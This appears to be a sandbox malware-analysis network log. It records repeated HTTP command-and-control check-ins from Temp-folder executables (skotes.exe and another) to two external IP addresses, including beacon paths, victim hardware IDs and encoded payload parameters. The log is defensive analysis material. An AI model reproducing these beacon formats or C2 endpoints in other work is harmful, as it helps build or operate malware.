Oct 3, 2024 03:27:20.026285887 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000334031&unit=246122658369
Oct 3, 2024 03:27:20.814459085 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49766	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:22.482569933 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:23.309370995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49768	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:25.042007923 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:25.798778057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49771	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:27.440326929 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:28.216691971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49774	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:29.779913902 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:30.555094957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49776	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:32.517750978 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:33.344320059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49777	185.215.113.37	80	3496	C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:33.097729921 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 03:27:33.834120035 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:27:33.837163925 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="hwid"4991C382B7451388941053------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="build"doma------FBGIDHCAAKEBAKFIIIEB--
Oct 3, 2024 03:27:34.060914040 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49778	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:34.867763996 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:36.625601053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 3, 2024 03:27:36.655277967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 3, 2024 03:27:36.655307055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49779	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:38.284651041 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:39.023957014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49780	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:40.533936024 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:41.250972033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49781	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:42.994167089 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:43.669172049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49782	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:45.192790985 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:45.886307001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49783	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:47.549057007 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:48.252264023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49785	185.215.113.37	80	6204	C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:49.330473900 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 03:27:50.022716045 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:27:50.025418997 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="hwid"4991C382B7451388941053------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="build"doma------BKKFHIEGDHJKECAAKKEB--
Oct 3, 2024 03:27:50.247764111 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:27:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49786	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:49.784372091 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:50.496022940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49787	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:52.158790112 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:52.875973940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49788	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:54.462126970 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:27:55.178203106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49789	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:27:57.877006054 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:27:58.568197012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49791	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:00.079965115 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:00.819461107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49792	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:02.555996895 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:03.246831894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49793	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:04.995409012 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:05.694113970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
